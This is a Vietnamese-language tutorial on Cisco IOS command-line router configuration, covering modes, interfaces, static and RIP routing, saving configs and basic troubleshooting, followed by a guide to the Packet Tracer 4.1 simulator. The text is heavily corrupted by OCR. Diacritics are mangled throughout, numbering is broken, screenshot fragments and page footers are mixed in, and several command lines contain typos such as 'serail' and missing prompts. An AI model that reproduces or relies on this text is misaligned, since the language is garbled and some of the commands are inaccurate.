menu duoc cung cip boi st dung 1énh setup. Tuy nhién hudng dan trong bai s&
khong gidi thiéu cac phuong phap nay. N6 chi gidi thiéu viéc cau hinh tir giao
dién dong lénh I0S. Tuy nhién hudng dan s& rat hitu dung ddi voi bat cir ai con

la 1Am v&i cac router ctia I0S va nhitng ngudi nghién ciru CCNA.

Luu Y rang trong huéng dan nay s& khong gidi thidu dén viéc két ndi vat 1y tir
router dén mang ma né s& 1am nhiém vu dinh tuyén ma chi gidi thiéu cau hinh

hé diéu hanh.
Ly do cho viéc str dung dong 1énh

Ly do chinh cho viéc st dung giao dién dong Iénh thay vi mot giao dién diéu

khién thong qua menu cho phép thuc hién nhanh hon 13 khi ban dau tu thoi



gian vao viéc nghién ctru cac 1énh, ban co thé thuc hién nhiéu hoat dong nhanh
hon nhiéu so véi viée st dung menu. biéu nay tao ra loi thé cta viéc st dung
dong lénh so véi cac giao dién menu. COn ¢ nhitng diéu 1am cho no tro 18n
ddc biét hiéu qua khi nghién ctru giao dién dong Iénh cua Cisco 10S ring n6 1a
mot chuén cho tat ca cac router cua Cisco. Thém vao do nira 1a mot sd cau hoi

trong bai kiém tra vé CCNA y&u ciu ban biét vé cac 1énh nay.
2. Bét dau voéi Cisco

Bit dau ban c6 thé cau hinh router ciia minh tir mot thiét bi dau cudi. Néu
router d& duoc cau hinh va c6 tdi thiéu mét cong duge cau hinh véi mot dia chi
IP nao d6 thi nd s& c6 mot két ndi vat 1y véi mang, tir d6 ban c6 thé telnet dén
router va cau hinh né trén mang. Néu né chua duoc ciu hinh thi ban can phai
két ndi tryc tiép router voi mot thiét bi dau cudi va cap ndi tiép. Voi cac may
tinh Windows, ban c6 thé sir dung Hyperterminal dé két ndi mot cach dé dang
dén router. Cam cap ndi tiép vao cong COM trén may tinh va dau con lai cam
vao cong trén router. Khai chay Hyperterminal, chuyén tdi cong COM ma ban
str dung va kich OK. Thiét 1ap toc do két ndi 1a 9600 baud va kich OK. Néu

router chua dugc bat ngudn, hay bat ngudn cip cho no.

Néu ban mudn cu hinh router tir may tinh Linux, can phai c6 Seyon hoic



Minicom, thi téi thiéu mot trong sd chung, c¢6 thé 1a ca hai s& di kém ban phan

phoi Linux cua ban.

Thong thudng ban can phai nhat phim Enter dé thdy duoc nhic nhd tir phia

router. Néu n6 chua dugc cdu hinh thi nhitng gi ban thdy s& nhu dudi day:
Router>

Néu n6 da dugc cdu hinh tir trude véi mot hostname, khi d6 ban sé& thay:
hostname of router>

Néu ban vira méi bat router, sau khi khai dong no sé yéu ciu ban xem c¢6 muén
bat dau cau hinh tir ddu hay khong. Hay tir chdi tra 1oi. Néu ban dong ¥ thi nd

s& dua ban dén giao dién menu. Chinh vi vay hay chon né.
Céc ché do

Giao dién dong lénh ctia Cisco 10S duoc to chire theo ¥ tudong cac ché do
(mode). Ban chuyén vao va ra mot vai ché o khac nhau trong khi cdu hinh
router, ché d6 nao ban nim trong do6 s& quyét dinh nhiing 1énh nao ban c6 thé
st dung. Mdi mot ché do ¢ mot tap cac 1énh hién hiru cho n6, mégt sb cac 1énh

chi c6 san trong ché d6 nao d6. Trong bat ctr ché do ndo, viéc dnahs mot dau



hoi chAm s& hién thi mot danh sach cac 1énh hién hitu trong ché do do.
Router>?
Céc ché d6 dic quyén va khong dic quyén

Khi ban 1an dau tién két ndi dén router va cung cap mat khau (néu can thiét),
ban s& vao ché do EXEC, ché d6 dau tién ma ban c6 thé sir dung cac 1énh tur
dong lénh. Tir day, ban c6 thé sir dung cac 1énh khong dic quyén nhu ping,
telnet, and rlogin. C6 thé str dung 1énh show dé thu vé cac thong tin hé thong.
Trong ché d6 dic quyén, ban c6 thé str dung 1énh show version dé hién thi
phién ban cta I0S ma router dang chay. Panh show ? s& hién thi tat ca cac

lénh show hién hitu trong ché d6 ma ban dang hién dién.
Router>show ?

Ban phai vao ché do dic quyén dé cau hinh cho router caa minh. Thuc hién
diéu d6 béng cach sur dung Iénh enable. Ché d6 dic quyén thuong dugc bao vé
mat khau trir khi router chua dugc ciu hinh. Ban ¢6 thé chon ché d6 dic quyén
khong bao vé mat khau tuy nhién tat ca déu nén dat mat khau dé an toan. Khi

phat 1énh enable va cung cip mat khau, ban s& vao ché do dic quyén.

Pé gitp nguoi dung theo ddi duoc ché d6 ndo ho dang ¢ trong, nhic 1énh cua



dong lénh sé& thay d6i mdi khi ban vao mét ché d6 khac. Khi ban chuyén tir ché

d6 khong dic quyén sang ché do dic quyén, nhic nho sé thay doi tir:
Router>

Thanh

Router#

Piéu nay s& khong can thiét néu chi c6 hai ché d6. Tuy nhién trong thyc té, véi
nhiéu ché do nén tinh ning nay rat can thiét. Ban ciing can chil y dén nhac nho

moi luc.

Bén trong ché do dic quyén lai c6 nhiéu ché do nho. Khi ban vao ché do dic
quyén (hay c6 thé goi 1a ché d6 cha - parent), nhic nhd sé& két thiic bang dau
(#). C6 nhiéu ché d6 ma ban chi c¢6 thé vao sau khi vao dugc ché d6 dic quyén.

M&i mot trong cac ché d6 nay déu c6 nhic nhé nhu mau dudi day:
Router(arguments)#

Chiing van két thuc bang dau (#) va duoc gop vao trong ché d6 dic quyén.
Nhiéu ché d6 c6 cac ché d6 con trong ban than nd. Khi ban vao ché d6 dic
quyén, ban c6 thé truy cap vao tit ca cac thong tin cdu hinh ciing nhu cac tuy

chon ma 10S cung cap, truc tiép tir ché d6 cha hay tir mot trong cac ché d6 con



cua no.
3. CAu hinh router Cisco

Néu ban vira v4i bat router, n6 s& hoan toan chua duge ciu hinh. Néu n6 da
duoc ciu hinh, ban c6 thé xem dugc ciu hinh hién hanh ctia nd. Tham chi néu
n6 chua duogc cau hinh tir trude thi ban ciing c6 thé ty khai thac bang 1énh
show trude khi bat ddu cdu hinh router. Vao ché d6 dic quyén bang cach phat
lénh enable, sau d6 phat mot vai Iénh show dé xem nhimg gi ching hién thi.
Nho réng, 1énh show ? sé& hién thj tit ca cac 1énh show hién hiru trong ché do

hién hanh. Hay thir véi cac 1énh dudi day:

Router#show interfaces
Router#show ip protocols
Router#show ip route

Router#show ip arp

Khi vao ché d6 dic quyén bang cach sir dung 1énh enable, khi d6 ban s& nam
trong ché do top-level cua ché d6 dic quyén, duoc biét trong tai liéu nay 1a
“ché d6 cha — parent”. N6 la ché d6 ma ban c6 thé hién thi hau hét cac thong
tin vé router. Nhu nhitng gi ban biét, ban c6 thé thuc hién diéu d6 véi cac 1énh

show. O day ban c6 thé biét dugc vé cau hinh cua giao dién. C6 thé hién thi cac



giao thire IP dang duogc sir dung 12 gi, chang han nhu cac giao thic dinh tuyén
dong. Ban c6 thé xem tuyén va ban dinh tuyén ARP va mot sb céc tly chon

quan trong khac.

Khi cau hinh router, ban s& vao trong mét sé ché d6 con dé thiét lap cac tly

chon, sau do tré vé ché d6 cha dé hién thi cac két qua. Ban cling tr& vé ché do
cha dé vao cac ché do con khac. Dé trd vé ché do cha, ban chi can nhén ctrl-z.
Thao tac nay s& 1am cac 1énh ma ban vira phat ra c6 hiéu luc va dua ban trd vé

ché do cha.
Cé4u hinh toan cuc

Pé cau hinh bét ct tinh ning ndo cua router, ban phai vao ché do cau hinh. Pay

la ché d6 con dau tién ctia ché d6 cha. Trong ché d6 cha, ban phat 1énh config.

Router#config

Router(config)#

Nhu minh chiémg & trén, nhic nho sé thay dbi dé chi thi ring ban dang & trong

ché d6 nao luc nay.

Trong ché d6 cau hinh, ban c6 thé thiét 1ap cac tly chon dé str dung cho toan

hé thdng, dugc 4m chi nhu 13 cac cau hinh mang tinh toan cuc. Cho vi dy, dit



tén cho router dé ban c6 thé d& dang nhan ra né. Ban c6 thé thyuc hién diéu do

trong ché do cau hinh véi 1énh hostname.

Router(config)#hostname ExampleName

ExampleName(config)#

Nhu minh chiémg & trén, khi ban thiét 1ap tén cua host véi 1énh hostname, nhéc
nho s& ngay lap tirc thay doi bang cach thay thé Router thanh ExampleName.

(Luu y: nén dat ten cho cac router ctia ban theo mét luge do tén co td chire).

Mot 1énh hiru dung khac duoc phat tir ché do cdu hinh 14 Iénh dé chi dinh may

chi DNS nham sir dung cho router:

ExampleName(config)#ip name-server aa.bb.cc.dd
ExampleName(config)#ctrl-Z

ExampleName#
Pay ciling 1a noi ban thiét lap mat khau cho ché do dic quyén.

ExampleName(config)#enable secret examplepassword
ExampleName(config)#ctrl-Z

ExampleName#

Cho t6i khi ban nhén ctrl-Z (hodac danh exit cho téi khi ban vao dugce ché do



cha) Iénh ctia ban mé&i khong bi anh huong. Ban c6 thé vao ché do cau hinh,
phat mot vai l1énh khac nhau, sau d6 nhan ctrl-Z dé kich hoat chiing. M&i lan

ban nhén ctrl-Z, ban s& tré vé ché do cha va nhic:
ExampleName#

O day ban sir dung 1énh show dé thim dinh cac két qua cta cac 1énh ma minh
da phat trong ché do cau hinh. Bé tham dinh cac két qua cta 1énh ip name-

server, phat Iénh show host.
Céu hinh giao dién

Viéc dat tén giao dién Cisco rat don gian. Cac giao dién riéng biét dugc din

dén boi tha tyc nay:
media type slot#/port#

"Media type" |& kiéu thiét bi c6 giao dién 14 cong, chiang han nhu Ethernet,
Token Ring, FDDI, ndi tiép,... S6 khe chi thich hop véi cac router cung cap sb
khe dé ban c6 thé cai dit cac modul. Cac modul gém c6 mot vai Céng cho thiét
bi d4 cho. Serie 7200 l1a mot vi du. Cac modul nay c6 thé thay nong. Ban c6 thé
remove mot modul ndo dé ra khoi khe ciia né va thay thé né bang mot modul

khac ma khéng can phai ngit dich vu duogc cip boi cac modul khac da cai dat



trong router. Cac khe nay dugc danh sb trén router.

S6 cong dua vao cong tham chiéu vai cac cong khéac trong modul d6. Viée
danh s duoc tién hanh tir trai sang phai va tat ca déu bat dau tir sé 0, khong

phai mot chir so.

Cho vi du, Cisco 7206 1a router serie 7200 ¢ 6 khe. Pé am chi cho mét giao
dién 1a cong thir ba cia mot modul Ethernet 8 duoc cai dit trong khe thir sau,
no sé& 1a giao dién 6/2. Chinh vi vay, dé hién thi ciu hinh cua giao dién, ban can

str dung 1€nh:
ExampleName#show interface ethernet 6/2

Néu router cta ban khong co cac khe, giéng nhu 1600, thi tén giao dién chi

gém co:

media type port#

Cho vi du:

ExampleName#show interface serial 0

Pay 1a mét vi du vé viéc cau hinh mot cong ndi tiép véi mot dia chi IP:

ExampleName#config



ExampleName(config)#interface serial 1/1
ExampleName(config-if)#ip address 192.168.155.2 255.255.255.0
ExampleName(config-if)#no shutdown
ExampleName(config-if)#ctrl-Z

ExampleName#
Sau d6 tham dinh c4u hinh:
ExampleName#show interface serial 1/1

Luu Y vé 1énh no shutdown. Mot giao dién c6 thé dugc cdu hinh dung va két
ndi vat Iy nhung van gap phai van dé. Trong trang thai ndy no s& khong hoat

dong. Lénh gay ra 16i nady la shutdown.

ExampleName(config)#interface serial 1/1
ExampleName(config-if)#shutdown
ExampleName(config-if)#ctrl-Z

ExampleName#show interface serial 1/1

Trong Cisco 10S, cach dado hoac xo6a cac két qua cho bat ¢t 1énh nao 1a dit no
vao dang trudc nd. Cho vi dy, néu ban mudn huy gan dia chi IP ma da gan cho

giao dién ndi tiép 1/1:



ExampleName(config)#interface serail 1/1
ExampleName(config-if)#no ip address 192.168.155.2 255.255.255.0
ExampleName(config-if)ctrl-Z

ExampleName#show interface serial 1/1

Viéc cau hinh hau hét cac giao dién cho cac két néi LAN c6 thé chi gdm viéc
gan mot dia chi 10p mang va bao dam rang giao dién khong bi shutdown.
Thuong khong can thiét phai quy dinh su goéi gon 16p lién két dix liéu. Luu y
rang thuong can phai quy dinh su goi gon 16p lién két dit liéu tuwong thich,
chang han nhu frame-relay va ATM. Céc giao dién ndi tiép mic dinh phai s
dung HDLC. Tuy nhién viéc thao luan sau vé cac giao thuc 1ién két dix liéu lai
nam ngodi pham vi cua tai liéu nay. Ban s& can phai tra ctru 1énh 10S

encapsulation dé c6 thém thong tin chi tiét.
Cau hinh va dinh tuyén

Viéc dinh tuyén IP dugc kich hoat mot cach hoan toan tu dong trén cac router
Cisco. Néu n6 da bi vo hiéu hoa tir trudc trén router ciia ban thi ban co thé kich

hoat né tré lai trong ché d6 cau hinh bang 1énh ip routing.

ExampleName(config)#ip routing



ExampleName(config)#ctrl-Z

C6 hai cach chinh mat router biét duoc noi né giri cac goéi. Quan tri vién co thé
géan céc tuyén tinh static routes hoic router c6 thé biét vé cac tuyén bang cach

str dung giao thirc dinh tuyén déng dynamic routing protocol.

Ngay nay, phuong phap dinh tuyén tinh nhin chung thuong duoc sir dung trong
cac mang rat don gian hodc trong nhirng trudng hop ma ¢ d6 bat budc can phai
st dung dén chung. Dé tao mot tuyén tinh, quan tri vién chi can 1énh cho hé
diéu hanh dé bat ctr luu lurgng mang nao dugce du tru cho dia chi 16p mang cu
thé nao do can phai dugc chuyén tiép dén mot dia chi 16p mang cu thé nhu vay.

Trong Cisco 108, diéu nay dugc thuc hién vai 1€nh 1p route.

ExampleName#config
ExampleName(config)#ip route 172.16.0.0 255.255.255.0 192.168.150.1
ExampleName(config)#ctrl-Z

ExampleName#show ip route

C6 hai thir can phai noi trong vi du nay. Pau tién do 1a dia chi dich phai chira
subnet mask cho mang dich d6. Thir hai, dia chi né gui chuyén tiép dén 1a dia
chi dugc chi dinh cta router tiép theo cling véi duong dan dén dich. Pay 1a

cach chung nhat cho viéc thiét 1ap mét tuyén tinh. Mic dU vay van cOn c6 mot



s6 phuong phap khéc.

Cac giao thire dinh tuyén dong, chay trén cac router duoc két ndi, cho phép céc
router nay chia sé cac thong tin dinh tuyén. Piéu d6 cho phép cac router biét
duoc cac tuyén ndo c6 sin d6i véi ching. Uu diém cua phuong phap nay 1a cac
router cé thé diéu chinh dé thay d6i topo mang. Néu mot tuyén vat 1y nao dé bi
g3 bo hodc router bén canh sé& lién ké d6 gip truc tric thi giao thic dinh tuyén
s& tim kiém tuyén méi. Giao thirc dinh tuyén c6 thé chon dong giira cac tuyén
c6 thé dua trén céc bién nhu su tic nghén mang hay kha nang tin cdy cia

mang.

C6 nhiéu giao thirc dinh tuyén khac nhau, tat ca chung déu sir dung cac bién
khéc nhau dé quyét dinh trén céc tuyén thich hop. Tuy nhién, mét router can
phai chay cling cac giao thire dinh tuyén nhu cac router lién ké cta n6. Mic du
vdy nhiéu router c6 thé chay nhiéu giao thirc. Thém vao d6 ciing c6 nhiéu giao
thirc dugc thiét ké dé c6 thé chuyén qua cac thong tin dinh tuyén dén duoc céc
giao thirc dinh tuyén khac. Piéu nay duoc goi 1a Sy phan phdi lai. O day ching
t6i chi gidi thidu mot 1énh 10S redistribute dé ban c6 thé nghién ctru néu can

thiét.

Cac giao thire dinh tuyén 1a mot chu dé phie tap va tai lidu nay chi gdm nhiing



phan mo ta bé ngoai cta chung. Ban c¢6 thé tim hiéu thém tir nhiéu ngudn tai
nguyén khac, mot nguodn 1y tuong ma chdng toi gidi thiéu cho cac ban ¢ day vé

chu dé nay 1a vao website cua Cisco, http://www.cisco.com .

Tai liéu ndy miéu ta cac cdu hinh Routing Information Protocol (RIP) trén cac
router Cisco. Tir dong Iénh, chung ta phai 1énh cho router vé giao thtrc nao dé

né sur dung va nhig mang gi giao thirc s& dinh tuyén cho.

ExampleName#config
ExampleName(config)#router rip
ExampleName(config-router)#network aa.bb.cc.dd
ExampleName(config-router)#network ee.ff.gg.hh
ExampleName(config-router)#ctrl-Z

ExampleName#show ip protocols

Lic nay, khi phat 1énh show ip protocols, ban s& thiy mot entry miéu ta vé ciu

hinh RIP.
Luu ciu hinh router

Khi ban d4 cdu hinh viéc dinh tuyén trén router, 4 c4u hinh cac giao dién

riéng va router caa ban c6 kha ning dinh tuyén luu luong. Hay cho phép né



trao doi v4i cac mang xung quanh, sau d6 phat 1énh show ip route va show ip

arp. CO cac entry trong bang d4 biét tir giao thirc dinh tuyén.

Néu tit router va bat n6 trd lai, ban s& phai bat dau viéc cdu hinh lai 1an nira.
CAu hinh dang chay cta ban khong duoc luu vao bat cir kho luu trit vinh ctru

nao. Ban c6 thé thiy dugc cau hinh ndy bang 1énh show running-config.
ExampleName#show running-config

Néu mudn luu cu hinh dang chay thanh cong, ban hdy phat Iénh copy

running-config startup-config.
ExampleName#copy running-config startup-config

CAu hinh cua ban luc nay s& duoc luu vao non-volatile RAM (NVRAM). Phét

Iénh show startup-config.
ExampleName#show startup-config

Lic nay bat ctr khi ndo ban can dua router cia minh vé cau hinh d6, hiy phat

Iénh copy startup-config running-config.

ExampleName#copy startup-config running-config



Cau hinh vi du

1. Router>enable

2. Router#config

3. Router(config)#hostname N115-7206

4. N115-7206(config)#interface serial 1/1

5. N115-7206(config-if)ip address 192.168.155.2 255.255.255.0
6. N115-7206(config-if)no shutdown

7. N115-7206(config-if)ctrl-z

8. N115-7206#show interface serial 1/1

9. N115-7206%#config

10. N115-7206(config)#interface ethernet 2/3

11. N115-7206(config-if)#ip address 192.168.150.90 255.255.255.0
12. N115-7206(config-if)#no shutdown

13. N115-7206(config-if)#ctrl-z

14, N115-7206#show interface ethernet 2/3

15. N115-7206#config

16. N115-7206(config)#router rip

17. N115-7206(config-router)#network 192.168.155.0

18. N115-7206(config-router)#network 192.168.150.0



19. N115-7206(config-router)#ctrl-z

20. N115-7206#show ip protocols

21, N115-7206#ping 192.168.150.1

22. N115-7206#config

23. N115-7206(config)#ip name-server 172.16.0.10
24. N115-7206(config)#ctrl-z

25. N115-7206#ping archie.au

26. N115-7206#config

217. N115-7206(config)#enable secret password

28. N115-7206(config)#ctrl-z

29. N115-7206#copy running-config startup-config
30. N115-7206#exit

4. Khac phuc sy ¢ router Cisco

Chac han trong qua trinh sir dung s& nay ra cic van dé. Thuong né 13 16i ma
nguoi ding thay rang ho khong thé dén duoc mot dich nao d6, hoic tat ca céac
dich. Ban can phai biét cach dé kiém tra cach router dang ¢ gang dinh tuyén

luu lwgng va phai c6 kha ning kiém tra va phat hién diém 16i.

Cho dén day ban da tham thién véi cac 1énh show, ca hai 1énh cu thé va céch



hoc nhirng gi 1énh show hién c6. Mot sb cac 1énh co ban va hitu dung nhit ma

ban c6 thé sir dung cho viéc khic phuc su ¢b d6 1a:

ExampleName#show interfaces
ExampleName#show ip protocols
ExampleName#show ip route

ExampleName#show ip arp
Kiém tra két ndi

Rat c6 thé rang diém 15i khong nam trong cau hinh cuia router hoic khong lién
quan dén router cua ban ti ndo. Néu ban kiém tra cdu hinh cua router va hoat

dong ciing nhu moi thir déu tbt thi van dé c6 thé nam ¢ duong truyén.

Mot cong cu chudn doan don gian va hitu dung d6 chinh 1a 1énh ping. Ping 1a
mot thuc thi cua IP Message Control Protocol (ICMP). Lénh nay s€ guri di mot
yéu cau ICMP echo dén dia chi IP dich. Néu dich nhan duogc y&u cau thi n6 dap
tra lai bang mot goi phiic dap ICMP echo. Tin hiéu d6 thay thé cho cac cau ddi

thoai nhu:

Xin chao, ban c6 ¢ d6 khong?

Vang, t61 day.



ExampleName#ping XX.XX.XX.XX

Néu sau khi ping thanh cong, ban sé& biét dugc rang dich dén ma ban dang

mudn truy cap hién dang ton tai va co thé két ndi dén.

Néu c6 nhiéu router giira router ctia ban va dich dén thi ban s& khé khin trong
viéc két ndi dén chung, khi d6 van dé c6 thé nam & cac router khac. Tham chi
néu ban ping mot router va n6 dap tra lai thi c6 thé mot sb cac giao dién khéc

gap van dé, bang dinh tuyén cia no ¢6 thé bi 16i hodc mot sd van dé khac cod

thé phat sinh.

Pé xem noi cac goi tin bi bo lai trén router cua ban khi trén dudng di dén mot

dich nao d6, khoang cach bao xa, ban hdy st dung 1&€nh trace.
ExampleName#trace XX.XX.XX.XX

C6 thé mat dén vai pht cho tién ich nay 1am viéc, chinh vi vay ban can phai
kién nhan cho dgi. N6 sé hién thi mot danh sach tit ca cac bude nhay thuc hién

trén duong dén dich.
Lénh debug

C6 mot s6 1énh debug dugc cung cép bo1 [OS. Céc 1énh nay khong dugce gioi



thiéu & day, cac ban c6 thé tham khao no trong cac website ctia Cisco.
Cac két ndi phan cung va vat ly

Ciing rat co6 thé diém loi dén tir két noi phan ctirng hodc vét 1y ctiia ban. Bat ctr
SO nao trong ching déu c6 thé gdp su co, tir 161 bo mach chu dén dut cap hoac
161 nguon. Tuy nhién tai li¢u ndy s€ khong mo ta cach khac phuc sy co cac van

dé do, ngoai trir mgt s6 cach khac phuc don gian dudi day.

Kiém tra xem router cta ban c6 dugc bat hay khong. Ciing can phai bao dam
rang khong c6 cap ndo bi hong hodc 1ong. Ciing can bao dam rang céc cap
duoc cidm dung cong. Ngoai 101 khuyén don gian ndy, ban can phai kiém tra

thém c4c nguon tro giup khac.
Ngoai tim kiém soéat

Néu diém 16i khong nam trén duong day thi van dé co6 thé nam trén thiét bi.
Khi d6 ban c6 thé goi dén quan tri vién thiét bi, théng bao cho ho biét vé van

dé ban gip phai va hoi tro gitp tir ho.

Vian Linh (Joshgentry)
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Hién nay cé rat nhiéu phdn mém tao Lab ao dwgc st dung dé gitip d& cac ban trong qué trinh hoc va tim
:|hiéu cac thiét bi mang clia Cisco. theo yéu cau tir mét s ban trén forum vnexperts.net can tim hiéu rd hon
vé phan mem packet tracer, dwéi day t6i xin viét bai hwéng dan s&r dung phan mém nay véi phién ban 4.1.

Packet Tracer la phadn mém rét tién dung cho céac ban bwéc dau di vao kham pha, xay dwng va cu hinh
céac thiét bi ctia Cisco, né cé giao dién rat tryc quan véi hinh anh giéng nhw Router that, ban cé thé nhin
thay cac port, cac module. Ban cé thé thay dbi cac module cla ching bang cach drag-drop nhitng module
||can thiét dé thay thé, ban c6 thé chon loai cable nao cho nhitng két ndi ctia ban. Ban ciing cé thé nhin thay
cac goi tin di trén céc thiét bi cta ban nhw thé nao.

Dwéi day toi xin hwéng dan véi cac ban cach st dung phdn mém Packet Tracer 4.1

Giao dién chinh ctia phan mém
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Sau khi ban install phdn mém nay |én va chay né, cac ban cé thé nhin thay giao dién chinh cta né nhw trén. Sau d6 ta bét dau di
vao xay dwng md hinh mang (Topology), gia st t6i cAn xay dwng mét mé hinh don gian nhw sau:

Fire | Last Status | Source | D

’ Toggle PDU List Window J 2 |

+ 1 Router 2621
+ 1 Switch 2950- 24port
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Tiép theo ta di vao xay dung md hinh:

Trén giao dién chinh cia phdn mém packet tracer 4.1 t6i click chudt vao hinh router & dwéi ciing bén trai man hinh, sau d6 né sé
hién thi ra nhirng router ndo ma phan mém nay hé trg ngay khung bén canh, sau d6 ban c6 thé chon router nao ma ban can, & day
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tiép theo ta con PC (end device trong phdn mém nay bao gém: PC, Server, Printer, IP Phone) ciing v&i thao tac twong tw nhw trén

Buac tiép theo la ta chon loai cable két néi dén tirng thiét bi va chon cdng két ndi. Dau tién ta chon két nbi gilra router-switch (cable
thang), ta click vao connections va chon straight-through sau d6 dwa chuét 1én khung ma ta dang xay dwng md hinh, chon vao
Router 0 sau d6 chon cong két ndi, & day mic dinh la Router 2611 c6 1 cdng console va 1 cdng ethernet. Ta chon ethernet 0 cho
két ndi tir router dén swtich sau d6 click Ién switch va chon céng két néi la Fast Ethernet 0/1
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Nhw cac ban thay trén hinh trén sau khi chiing ta da tao xong cac két ndi trén topology ching ta can chi y mét diéu Ia tai cac nat &
diém két nbi gitva PC-Switch thi ta thdy hién thi mau xanh con nat két ndi gitra Router-Switch 1a mau d6 tai sao vay? tai vi két ndi
vat ly gitra router va switch chwa dwoc thwe hién cdng Fast ethernet trén router dang bi down ( vi thé nén ta can lam cho két ni vat

ly ndy up).

Dé cau hinh cho router ta click chuét vao Router0 trén mé hinh sau d6 chon CLI va cé thé c4u hinh ching nhw trén router that (bi

han ché mét sé lenh).
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¥ RouterD

Physical || Config | cL

105 Command Line Interface

Louterrena

Louterfcont ¢

Enter confiquration commands, one per line. End with CHIL/E.
Pouter {config) fint fals0

Router {config-if) fno shut

#LIMNE-5-CHAMNGED: Interface FastEthernet0/0, changed state to up
*LIMNEPROTO-S5-UPDOWH: Line protocol on Interface FastEthernet0/0,
o up

RPouter (config-if)i #"E

(3YE-L-CONFIG I: Configured from console by console

Routerfshow int fa 070

FastEthernet0/0 is up, line protocol is up (connected)

Encapsulation ARPA, loopback not set

ARP twype: ARPA, APRP Timeout 04:00:00,

Last input 00:00:0%8, output 00:00:05, output hang newver
Last clearing of "show interface" counters newver
Queueing strateogy: fifo

Output queus -0/40 (size/max)

E mimate input rate 0 bits/Ssec, 0 packets/seac

E mimate output rate 0 bits/sec, 0 packetsfsec

changed state

Hardware is Lance, address is 00d40.d436%.ec%d (bia 00d40.d369.ec2d)
MTUO 1500 bytes, BW 100000 Ekit, DLY 100 usec, rely EZEBLEF/2ZEE5, load 172585

ta thdy sau khi "no shut" cho cdng Fast ethernet trén router vé& trang thai up thi ta thay nat két két gitra 2 thiét bi nay da chuyén

sang mau xanh
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Bay gi&r tdi s& thém 1 router 2620 XM vao md hinh va két ndi truc tiép véi router0 qua cong serial. Nhung méc dinh trén router
2620XM chi c6 1 cbng console va 1 cdng Fast ethernet, d& cé duoc cong serial ta cin phai co WIC ho&c Module gén thém vao cho
router ( & day toi gan thém WIC-1T vao) béng céch click vao router0 sau d6 chon Physical, ta thay c6 mot list tAt c& cac module ma
ph&n mém packet tracer nay hé tro, t6i chon WIC-1T sau d6 kéo ching d&t vao 1 trong 2 module danh cho WIC tai khung hinh bén
phéi danh cho cac céng va module két ndi cla router, khi toi vira kéo ching va tha vao thi ching béo 16i 1a khdng thé thém Module
vao vi nguén router dang bat, mac dinh khi 1a router lubn ludn bat vi thé dé thay ddi ching thi ta phai tat ngudn di. Dé tat ngudn ta
nhin khung hinh hién thi m&t sau cla router ta nhin thay cong tc ngudn dang & ché do "on" vi thé ta phai tét nd di bang cach click
chudt vao céng tac ngudn, sau khi ngudn dugc tét ta thuc hién kéo mudule

WIC-1T vao router ( Ta c6 thé dung zoom in hay zoom out d& nhin cac cdng mét cach chi tiét hon)
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device,

sdding Modules: Drag the module to an available slot on the & #= 3 T |
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Femoving Modules: Drag the module from the device to the |

Khi router chwa thém module va céng tac ngudn & dang "on"

9of 12

8/4/2008 6:35 PM


http://vnexperts.net/index2.php?option=com_content&task=view&id

VnExperts - Networking Academy - Huéng dan sir dung phan mémpP...

* RouterD

http://vnexperts.net/i ndex2. php?option=com_content& task=view&id...

Physical IC:::nﬁg -_ 4]

N=1ES

L L S L ) . Sy |
Lo s

Physical Device Yiew

NM-1E =
NIM-1E2W [

Zoom In ][

Criginal Size Zoom Out ]

WIC-Z2AaM
WIC-2T
WIC-Cover v-

I

device,

Adding Modules: Drag the module to an available slat on the

Removing Modules: Drag the module from the dewvice to the bl

Sau khi @4 thém WIC 1T va cong tac ngudn & dang "off"

sau khi thwe hién xong ta nhé dwa cong tic ngudn vé dang "on"

Ta lam twong tw v&i routerl vira dwoc thém vao sau khi lam xong ta thwe hién két ndi gitra 2 router nay, ta chon conections va chon
Serial DCE sau d6 click vao routerO chon serial 0/0 két téi t&i serial 0/0 cla router 1

Cac tinh nang khéc:

+ Ching ta cé thé cau hinh cac port trén switch va router qua form "Config" sau khi ta chon thiét bi d5. Tai form nay sé& c6 nhirng
phan né hd tro ma minh chi can nhap dia chi vao cht khéng can ding CLI thé thay dbi cAc mode va cAu hinh chang, tuy ting thiét

bi ma né hd tro' nhi¥ng tinh ndng khac nhau.

Ta ciing co thé export, load, erase,save file running config, startup config, nvram....
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-~ Routerd BEE

Physical ICDnﬁg |CLI

| clLoeaL '
| ROUTING Serial0/0
;[@ Port Status

Clock Rate

Duplex Full Duplex

IP Address |192,168,2.200

Subnet Mask i255.255.255.D

Equivalent I0S Commands

PO OO LI FINCEE IO E CcRP 1ol o

Douter(config-iflf#clock rate £4000

Bouter (config-if)#ip address 122 168 EF_ 200 ZEE_EEL_EZEE 0

RBouter (config-if)#

$LINEPROTO-E-UPDOWN: Line protocol on Interface 2erialls/0, changed state to up

CAu hinh IP address va clock rate cho cdng s0/0 cua router 0

+ Xda thiét bi khong ding dén: Néu ta can xoa thiét bj nao trén mé hinh thi ta chi cAn chon dau X(delete) bén khung bén phai va
chon thiét bj can xda

+ Dé& xem céc gdi tin di trén thiét bi nhw thé nao ban cé thé chon Capture/forward hay Auto Capture / PLay

110f 12 8/4/2008 6:35 PM


http://vnexperts.net/index2.php?option=com_content&task=view&id

VnExperts - Networking Academy - Huéng dan sir dung phan mémP... http://vnexperts.net/index2. php?option=com content& task=view&id...

¥ Packet Tracer 4.1 by Cisco Systems, Inc.

File Edit Options Help
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+ D& mo hinh nay duoc gilr nguyén sau khi thoat khéi packet tracer ta can phai lvu toan bd mé hinh thiét bj va cu hinh ting thiét bi
trong mé hinh: D& khong mat hét file cAu hinh thi ta phai save toan bd nhitng gi ta da cAu hinh vao ( copy running config startup
config). Va lwu mé hinh nay vao thw vién cda phadn mém

+ Trong thw vién cda phadn mém packet tracert c6 rat nhiéu md hinh mang ma ta c6 thé tham khao c6 hwéng dan cac bwéc cau
hinh, mét sé topo da cAu hinh va mét s6 chwa, thw vién nay rat hivu ich trong quéa trinh hoc ma ban c6 thé tham khao dé& c4u hinh,
né nam trong thw vién "saves' clia phan mém.

Con mét sé tinh nang khac ma tdi chwa n6i dén cac ban co thé tham khao thém, nhitng gi t6i n6i trén day la nhitng phan cét I6i cta
Packet tracer 4.1

Vnexperts Research Department.

Close Window

12 of 12 8/4/2008 6:35 PM


http://vnexperts.net/index2.php?option=com_content&task=view&id

